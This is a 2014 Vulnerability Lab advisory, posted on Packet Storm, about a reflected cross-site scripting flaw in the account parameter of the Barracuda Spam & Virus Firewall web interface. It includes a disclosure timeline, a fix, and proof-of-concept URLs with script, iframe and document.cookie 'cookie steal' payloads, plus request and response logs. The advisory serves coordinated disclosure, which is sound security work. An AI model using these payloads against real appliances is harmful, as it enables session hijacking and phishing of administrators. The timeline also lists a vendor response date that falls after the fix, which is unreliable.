Barracuda Networks Spam / Virus Firewall 5.1.3 XSS

2014-07-28T00:00:00
ID PACKETSTORM:127646
Type packetstorm
Reporter Ateeq ur Rehman Khan
Modified 2014-07-28T00:00:00

Description

                                        
                                            `Document Title:  
===============  
Barracuda Networks Spam&Virus Firewall v5.1.3 - Client Side Cross Site Vulnerability  
  
  
References (Source):  
====================  
http://www.vulnerability-lab.com/get_content.php?id=1118  
  
Barracuda Networks Security ID (BNSEC): BNSEC-1052  
https://www.barracuda.com/support/knowledgebase/501600000013lYI  
  
Solution #00006606  
BNSEC-01052: Non-persistent XSS in Barracuda Spam and Virus Firewall v5.1.3  
  
  
Release Date:  
=============  
2014-07-25  
  
  
Vulnerability Laboratory ID (VL-ID):  
====================================  
1118  
  
  
Common Vulnerability Scoring System:  
====================================  
2.9  
  
  
Product & Service Introduction:  
===============================  
For efficient, effective corporate communication and collaboration, today’s organizations need more than just   
security against spam and malware. They need a comprehensive email governance solution that combines granular   
policy management, real-time visibility into email activity, and the ability to handle massive volume and   
huge files. Barracuda Spam & Virus Firewall is today’s solution for comprehensive email governance.  
  
(Copy of the Vendor Product Homepage: https://www.barracuda.com/products/spamandvirusfirewall/ )  
  
  
Abstract Advisory Information:  
==============================  
The Vulnerability Laboratory Research Team discovered a client-side cross site vulnerability in the Barracuda Spam and Virus Firewall v5.1.3 (200,400 or 600) & Vx web-application.  
  
  
Vulnerability Disclosure Timeline:  
==================================  
2013-11-19: Researcher Notification & Coordination (Ateeq Khan)  
2013-11-19: Vendor Notification (Barracuda Networks Security Incident Team - Bug Bounty Program)  
2014-12-20: Vendor Response/Feedback (Barracuda Networks Security Incident Team - Bug Bounty Program)  
2014-07-15: Vendor Fix/Patch (Barracuda Networks Developer Team)  
2014-07-25: Public Disclosure (Vulnerability Laboratory)  
  
  
Discovery Status:  
=================  
Published  
  
  
Affected Product(s):  
====================  
Barracuda Networks  
Product: Spam & Virus Firewall 6.0.0.028 - 100 200 300 400 500 600 700 800 900 1000  
  
  
Exploitation Technique:  
=======================  
Remote  
  
  
Severity Level:  
===============  
Medium  
  
  
Technical Details & Description:  
================================  
A client-side cross site scripting web vulnerability is detected in the official Barracuda Spam & Antivirus Firewall Web-Application.  
The vulnerability allows remote attackers to manipulate via POST method web-application to browser requests (client-side).  
  
The vulnerability is located in the `Per User Account View` module of the security appliance web-application. The vulnerable file is   
index.cgi and the affected value is `account`. Remote attackers can inject own malicious script codes on client-side. The attack   
vector of the issue is non-persistent and the request method to execute the malicious code is GET. Remote attackers can for example   
send manipualted links to priviledged application users to hijack session information (client-side) or execute non persistent codes.  
  
The security risk of the non-persistent input validation web vulnerability is estimated as low with a cvss (common vulnerability   
scoring system) count of 2.9. The non persistent cross site vulnerability can be exploited by remote attackers without privileged   
application user account and with low or medium user interaction. Successful exploitation of the client-side cross site scripting   
web vulnerability results in session hijacking, client-side phishing, client-side unauthorized external redirects and client-side   
manipulation of the connected or affected module context.  
  
Request Method(s):  
[+] GET  
  
Vulnerable Module(s):  
[+] Users > Per User Account View  
  
Vulnerable File(s):  
[+] index.cgi  
  
Vulnerable Parameter(s):  
[+] account=  
  
  
Proof of Concept (PoC):  
=======================  
The client-side cross site scripting web vulnerability can be exploited by remote attackers without privileged web-application user account and with   
low user interaction click. For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.  
  
Manual steps to reproduce the security vulnerability ...  
  
1. Login to the spam and antivirus firewall as normal guest user  
2. Once logged in, click on the Basic Tab once  
3. Now copy paste the following payload in the URL carefully after the password field replacing all other variables with our string  
  
&primary_tab=USERS&new_secondary_tab=per_user_account_view  
&account=domainadmin@barracuda.comaf92c"><script>alert(1)</script>e352896d01c&auth_type=Local&locale=en_US  
&secondary_tab=per_user_change_password&page_submitted=true&content_only=1&domain=&user=guest&role=&ispopup=1  
&parent_name=pu_pref637248&popup_width=720&popup_height=500  
  
4. You should now be able to see a javascript popup revealing the session cookies hence proving the existence of this vulnerability!  
  
  
PoC: Frame Inject  
https://spam.ptest.cudasvc.com/cgi-mod/index.cgi?auth_type=Local&et=1382217804&locale=en_US  
&password=03f27a30cecedbbda727698954077eec&primary_tab=USERS&new_secondary_tab=per_user_account_view  
&account=domainadmin@barracuda.comaf92c%3E%3Ciframe%20src=http://www.vulnerability-lab.com%3Ee352896d01c  
&auth_type=Local&locale=en_US&secondary_tab=per_user_change_password&page_submitted=true&content_only=1  
&domain=&user=guest&role=&ispopup=1&parent_name=pu_pref637248&popup_width=720&popup_height=500  
  
PoC: Cookie Steal  
https://spam.ptest.cudasvc.com/cgi-mod/index.cgi?auth_type=Local&et=1382217804&locale=en_US  
&password=03f27a30cecedbbda727698954077eec&primary_tab=USERS&new_secondary_tab=per_user_account_view  
&account=domainadmin@barracuda.comaf92c%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3Ee352896d01c  
&auth_type=Local&locale=en_US&secondary_tab=per_user_change_password&page_submitted=true&content_only=1  
&domain=&user=guest&role=&ispopup=1&parent_name=pu_pref637248&popup_width=720&popup_height=500  
  
  
Review: Change Password - Mail Session Title  
<tbody><tr><td colspan="1" style="padding:0 0 5px 0;" valign="top" width="100%">  
<table border="0" cellpadding="0" cellspacing="0" width="100%">  
<tbody><tr><td class="TitleLeft"></td><td class="TitleTop">  
<table border="0" cellpadding="0" cellspacing="0" width="100%">  
<tbody><tr><td><a name="Change Password:domainadmin@barracuda.comaf92c>  
<iframe src=http://www.vulnerability-lab.com>e352896d01c">  
Change Password:domainadmin@barracuda.comaf92c><iframe src="http://www.vulnerability-lab.com">e352896d01c</td>  
  
  
  
--- PoC Session Request Logs ---  
Request:  
--------  
GET /cgi-mod/index.cgi?auth_type=Local&et=1382217804&locale=en_US&password=03f27a30cecedbbda727698954077eec&primary_tab=USERS&new_secondary_tab=per_user_account_view&account=domainadmin@barracuda.comaf92c%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ee352896d01c&auth_type=Local&locale=en_US&secondary_tab=per_user_change_password&page_submitted=true&content_only=1&domain=&user=guest&role=&ispopup=1&parent_name=pu_pref637248&popup_width=720&popup_height=500 HTTP/1.1  
Host: spam.ptest.cudasvc.com  
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:23.0) Gecko/20100101 Firefox/23.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
DNT: 1  
Cookie: ys-preview_west=o%3Acollapsed%3Db%253A1; ys-preview_south=o%3Acollapsed%3Db%253A1; ys-preview_east=o%3Acollapsed%3Db%253A0  
Connection: keep-alive  
  
Response:  
---------  
HTTP/1.1 200 OK  
Server: BarracudaHTTP 4.0  
Content-Type: text/html; charset=utf-8  
Connection: keep-alive  
Set-Cookie: ys-preview_west=o%3Acollapsed%3Db%253A1; path=/  
Set-Cookie: ys-preview_south=o%3Acollapsed%3Db%253A1; path=/  
Set-Cookie: ys-preview_east=o%3Acollapsed%3Db%253A0; path=/  
Expires: Thu, 18 Oct 2012 23:48:26 GMT  
Date: Fri, 18 Oct 2013 23:48:26 GMT  
Content-Length: 8325  
  
<html dir="ltr" xmlns="http://www.w3.org/1999/xhtml"><head>  
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />  
<meta http-equiv="X-UA-Compatible" content="IE=edge">  
  
...[Trimmed]...  
<a name="Change Password:domainadmin@barracuda.comaf92c"><script>alert(document.cookie)</script>e352896d01c"/>  
...[Trimmed]...  
  
  
Reference(s):  
https://spam.ptest.cudasvc.com/cgi-mod/index.cgi  
  
  
Solution - Fix & Patch:  
=======================  
The vulnerability can be patched by a secure parse of the account and session id echo when processing to reset passwords via the email address.  
Parse the parameter value input of the account and encode the output in the session values.  
  
Barracuda Networks: Appliances > Advanced > Firmware Updates (automatic) page or use the regular customer panel   
https://www.barracuda.com/support/knowledgebase/501600000013lYI  
  
  
Security Risk:  
==============  
The security risk of the client-side cross site scripting web vulnerability is estimated as medium.  
  
  
Credits & Authors:  
==================  
Vulnerability Laboratory [Research Team] - Ateeq ur Rehman Khan (ateeq@evolution-sec.com) [www.vulnerability-lab.com]  
  
  
Disclaimer & Information:  
=========================  
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any vendor licenses, policies, deface websites, hack into databases or trade with fraud/stolen material.  
  
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